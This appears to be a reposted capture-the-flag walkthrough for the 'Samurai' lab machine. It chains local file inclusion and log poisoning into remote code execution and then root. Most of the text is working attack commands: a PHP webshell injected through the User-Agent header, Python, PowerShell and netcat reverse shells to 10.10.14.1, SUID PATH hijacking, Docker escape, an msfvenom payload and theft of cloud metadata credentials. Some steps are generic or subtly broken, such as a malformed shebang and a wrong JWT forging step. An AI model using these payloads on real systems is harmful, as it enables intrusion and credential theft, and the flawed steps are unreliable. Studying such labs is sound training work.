Listen to this Post
Introduction:
Web application vulnerabilities often appear isolated, but skilled penetration testers know that chaining multiple low-severity flaws can lead to full system compromise. This article dissects the “Samurai” machine from HackSmarter, demonstrating how an attacker combines a Local File Inclusion (LFI) with a vulnerable service configuration to achieve privilege escalation and root access. You will learn practical exploitation techniques, command-line tactics, and hardening measures applicable to both Linux and Windows environments.
Learning Objectives:
- Exploit a chain of web vulnerabilities (LFI, log poisoning, and insecure file uploads) to gain initial foothold.
- Perform privilege escalation via misconfigured SUID binaries, cron jobs, or Docker socket abuse.
- Apply defensive countermeasures such as proper file permissions, input validation, and least privilege principles.
You Should Know:
- Initial Foothold – Chaining LFI with Log Poisoning
Step‑by‑step guide to gain a reverse shell on Samurai using web vulnerability chaining.
What the post says: The machine “Samurai” requires chaining web vulnerabilities with privilege escalation. A common real‑world chain starts with LFI allowing inclusion of server logs, then injecting PHP code into those logs.
Reconnaissance:
First, enumerate the web application. Use `gobuster` or `ffuf` to discover endpoints:
gobuster dir -u http://samurai.htb -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
Identify LFI parameter:
After fuzzing, you find a parameter like ?page=about.php. Test for LFI:
curl "http://samurai.htb/index.php?page=../../../../etc/passwd"
If successful, you’ll see the passwd file. Next, try to include the web server access log:
curl "http://samurai.htb/index.php?page=/var/log/apache2/access.log"
Log poisoning:
Modify the User‑Agent header to inject PHP code. Use `curl` or Burp Suite:
curl -A "<?php system($_GET['cmd']); ?>" "http://samurai.htb/index.php"
Then include the log again with a command parameter:
curl "http://samurai.htb/index.php?page=/var/log/apache2/access.log&cmd=id"
If you see the output of id, you have remote code execution.
Reverse shell:
Use the RCE to upload a reverse shell. For Linux:
curl "http://samurai.htb/index.php?page=/var/log/apache2/access.log&cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"]);'"
Start a netcat listener:
nc -lvnp 4444
Windows alternative: If the target is Windows, use PowerShell reverse shell:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('10.10.14.1',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"
2. Privilege Escalation – Abusing SUID Binaries
Step‑by‑step guide to escalate from www‑data to root on Samurai.
After gaining a low‑privilege shell, enumerate the system. Start with:
uname -a cat /etc/os-release sudo -l find / -perm -4000 2>/dev/null
On Samurai, you discover a custom SUID binary named update_network.
Analyze the binary:
strings /usr/local/bin/update_network
It reveals the binary executes `ifconfig` without a full path – a classic PATH hijacking vulnerability.
Exploit:
Create a malicious `ifconfig` script in a writable directory:
echo '!/bin/bash' > /tmp/ifconfig echo '/bin/bash -p' >> /tmp/ifconfig chmod +x /tmp/ifconfig
Prepend your directory to the PATH:
export PATH=/tmp:$PATH
Now run the SUID binary:
/usr/local/bin/update_network
This spawns a root shell (-p preserves the effective UID).
Alternative – Cron job abuse:
If enumeration shows a root cron job running a writable script:
cat /etc/crontab
Look for scripts like `/opt/cleanup.sh` that you can modify. Inject a reverse shell payload:
echo "nc -e /bin/bash 10.10.14.1 5555" >> /opt/cleanup.sh
Wait for the cron to execute and catch the root shell.
3. Docker Socket Exploitation (Cloud / Container Escape)
On Samurai, if you find yourself inside a container or the machine has the Docker socket exposed, privilege escalation becomes trivial.
Check for Docker group membership:
id groups
If you are in the `docker` group, you can run containers with host access.
Escape via Docker:
docker run -it -v /:/host alpine chroot /host /bin/bash
This mounts the entire host filesystem and chroots into it – giving you root on the host.
Mitigation: Never add untrusted users to the docker group. Use `rootless` Docker or restrict socket access with TLS.
- Windows Privilege Escalation – AlwaysInstallElevated & Unquoted Service Paths
If the target were a Windows machine, here are two common escalation paths.
Check AlwaysInstallElevated registry keys:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
If both return 1, you can craft an MSI that runs as SYSTEM:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f msi -o evil.msi msiexec /quiet /i evil.msi
Unquoted service path vulnerability:
Find services with unquoted paths containing spaces:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\"
Example vulnerable path: C:\Program Files\My App\service.exe. Place a malicious `Program.exe` in `C:\` that gets executed as SYSTEM.
5. API Security – JWT Weaknesses & IDOR
Many modern web applications expose APIs. In Samurai, the web app might have an API endpoint with weak JWT validation.
Extract JWT from browser storage or proxy logs. Decode it using jwt_tool:
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.xxxx
If the algorithm is set to none, you can forge a token:
echo -n "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ." | base64 -d
For IDOR (Insecure Direct Object Reference), enumerate API endpoints like `/api/user/123` and increment the ID to access other users’ data. Use ffuf:
ffuf -u http://samurai.htb/api/user/FUZZ -w /usr/share/seclists/Discovery/Web_Content/ids.txt -fc 404
- Cloud Hardening – Misconfigured IAM Roles (AWS Example)
Though Samurai is a local VM, the same chaining technique applies to cloud environments. Assume you compromise a web app that has access to AWS metadata.
Steal IAM credentials from EC2 metadata:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role
This returns AccessKeyId, SecretAccessKey, and Token. Use them with aws cli:
aws s3 ls --region us-east-1 aws ec2 describe-instances
Privilege escalation in cloud: If the role allows iam:CreatePolicyVersion, you can add an administrator policy to your user.
Mitigation: Use IMDSv2 (requires PUT requests) and apply least privilege IAM policies.
What Undercode Say:
- Chaining seemingly low‑risk vulnerabilities (LFI + log poisoning) is far more dangerous than any single critical bug – always validate input and disable dangerous PHP functions like
system(). - Privilege escalation often relies on simple misconfigurations (SUID without full PATH, writable cron scripts, Docker group) – hardening must include regular audits of file permissions and service configurations.
- The Samurai machine demonstrates that offensive security is not about complex exploits but about methodical enumeration and creative linking of flaws. Defenders should adopt attack path mapping to break these chains.
Prediction:
As web applications increasingly shift to serverless and containerized environments, the classic LFI‑to‑root chain will evolve into exploitation of misconfigured cloud metadata APIs and container orchestration tools like Kubernetes. Attackers will pivot from local log poisoning to poisoning environment variables or CI/CD pipelines. The demand for blue teams skilled in runtime detection (eBPF, Falco) and infrastructure‑as‑code scanning will surge, while red teams will need to master cloud privilege escalation – moving from `sudo` abuse to `eks:AssumeRole` or gcloud iam service-accounts. Expect more “Samurai‑style” machines to include multi‑cloud and GitOps misconfigurations as the new standard for certification exams like CPTS and OSCP.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mohamed Soliman – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
